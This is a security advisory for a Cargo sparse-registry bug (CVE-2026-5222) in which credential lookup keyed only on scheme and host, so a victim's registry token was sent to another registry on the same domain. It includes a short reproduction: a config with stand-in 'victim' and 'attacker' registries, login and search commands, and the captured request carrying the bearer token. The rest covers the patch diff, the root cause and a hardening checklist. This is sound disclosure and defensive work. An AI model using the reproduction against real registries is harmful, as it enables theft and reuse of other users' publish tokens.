The Exploit
An attacker only needs publish rights on a sparse third-party registry hosted under the same domain as another registry.
cat > .cargo/config.toml <<'EOF'
[registries.victim]
index = "https://registry.example.com/victim"
[registries.attacker]
index = "https://registry.example.com/attacker"
EOF
cargo login --registry victim --token VICTIM_TOKEN
cargo search --registry attacker serde
Observed request at the attacker-controlled registry:
GET /attacker/index HTTP/1.1
Host: registry.example.com
Authorization: Bearer VICTIM_TOKEN
User-Agent: cargo/1.95.0
When the request lands, the attacker's server receives the victim's bearer token even though the victim only logged into the /victim registry. The attacker can then reuse that token against the victim's registry endpoint.
What the Patch Did
Before
fn normalize_registry_index_url(raw: &str) -> Result<String, UrlParseError> {
let mut url = Url::parse(raw)?;
url.set_query(None);
url.set_fragment(None);
Ok(format!("{}://{}", url.scheme(), url.host_str().unwrap()))
}
After
fn normalize_registry_index_url(raw: &str) -> Result<String, UrlParseError> {
let mut url = Url::parse(raw)?;
url.set_query(None);
url.set_fragment(None);
Ok(url.as_str().trim_end_matches('/').to_string())
}
The patch added a proper URL canonicalization step that preserves the full registry path instead of collapsing every sparse registry on the same domain to a host-only identity. The exact security control is full URL normalization using Url::parse() plus retention of the path component via url.as_str().
Root Cause
This was a URL canonicalization bug (CWE-20) in Cargo's sparse registry handling. The attacker-controlled value enters through the Cargo registry config field index in .cargo/config.toml. Cargo then normalized that URL for credential lookup and auth reuse, but the vulnerable code stripped the path and kept only scheme://host. That collapsed distinct registry endpoints like https://example.com/victim and https://example.com/attacker into the same canonical registry identity, crossing the trust boundary between different registry namespaces on the same host. As a result, auth tokens from one registry were mistakenly sent to the other.
Why It Works
The load-bearing line is the change from format!("{}://{}", url.scheme(), url.host_str().unwrap()) to url.as_str().trim_end_matches('/').to_string(). If that line were removed, the bug would still be exploitable because Cargo would continue to normalize every sparse registry on the same domain to the same host-only key. The other lines are defensive: set_query(None) and set_fragment(None) strip irrelevant URL components so equivalent registry URLs do not get treated as different solely because of a query string or fragment. But the security fix depends on preserving the path.
Hardening Checklist
- Use
Url::parse()for registry URLs instead of manual string concatenation. - Key credential caches on the full canonical registry URL, not just
scheme://host. - Preserve path segments in URL normalization with
url.as_str().trim_end_matches('/'). - Strip query and fragment components only after the full path has been retained.
- Add unit tests covering same-domain registries with different paths, for example
/victimvs/attacker.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-5222